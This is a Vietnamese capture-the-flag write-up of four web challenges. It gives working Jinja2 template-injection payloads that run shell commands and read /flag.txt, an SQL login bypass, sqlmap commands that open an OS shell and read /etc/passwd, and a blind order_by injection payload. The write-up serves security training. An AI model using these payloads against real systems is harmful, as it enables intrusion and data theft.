← Back to home

Writeup Cyradar CTF TTS/CTV [WEB]

Bài 1: SSTI

Khi mở web lên có giao diện như sau:

image

=> Khả năng có 1 query string là name

Cho name có giá trị là {{7*7}} để test SSTI

=> Xuất hiện 49 => có khả năng bị SSTI

image

Test tiếp name = ${{<%[%'"}}%\. để biết xem phía server đang dùng template engine nào

image

=> Jinja2

Sử dụng payload:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('ls /').read() }}

Phát hiện có flag.txt

image

Đọc flag.txt

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('cat /flag.txt').read() }}

image

Flag: Hello CyWeb{w3b_3asy_sst1}!

Bài 2: SQL Injection

Bài 2 có giao diện như sau:

image

Đọc source code => SQL Injection

Khi thử nhập username là admin' or 1 = 1 -- thì bị thật

image

Tiếp theo sử dụng tool SQLMap để đẩy nhanh tiến độ dump db

Đầu tiên sử dụng Burp Suite vào url bài web, đăng nhập thử, sau đó lấy request đưa vào file request.txt

Sau đó sử dụng SQLMap như sau

image

image

Thấy được 3 database sau:

image

Thử dump database public (-dbs)

image

Khi dump table users thì không thấy flag (-D public -T users --dump)

image

Xem lại đề bài có vẻ gợi ý RCE

image

=> Thêm option --os-shell để RCE

image

Sau đó liệt kê thư mục gốc:

image

Đọc file flag.txt

image

Flag: CyWeb{ThiS_i5_m3d!um5q1!r(3}

Bài 3: SSTI

image

Server đang reflect lại địa chỉ IP của client.

Thử thêm X-Forwarded-For vào gói tin:

image

=> Thử địa chỉ localhost nhưng không thấy gì

Thử {{7*7}} ra 49

image

Tiếp tục 1 số bước như bài 1 => Jinja2

Và chèn payload sau:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('ls /').read() }}

image

Đọc flag.txt:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('cat /flag.txt').read() }}

image

Flag: CyWeb{m3d!umsst!}

Bài 4: SQL Injection

image

Có vẻ giống bài 2 nhưng lần này với query string order_by

Sử dụng sqlmap check 1 số database

image

=> xem xét db chh

Note: 1 cách test bằng cơm nếu không dùng sqlmap:

?order_by=(SELECT (CASE WHEN ((SELECT substring(table_name,1,1) FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)='a') THEN 'price' ELSE (SELECT 7066 UNION SELECT 7211) END))

Phát hiện table flag

image

image

Tuy nhiên thì đây là flag fake Sau đó có thử option --os-shell tuy nhiên gặp lỗi (khả năng không upload được file) => Không thể RCE được Sau khi tìm hiểu thì có phát hiện ra sqlmap có thể đọc được file với --file-read

sqlmap -r request.txt --file-read=/etc/passwd

Đầu tiên đọc file /etc/passwd xem có flag không

image

Em nghĩ lại thì flag các bài trước đều được đặt ở /flag.txt

image image

=> Flag: CyWeb{w3b_h@rd_sql1_0rderby}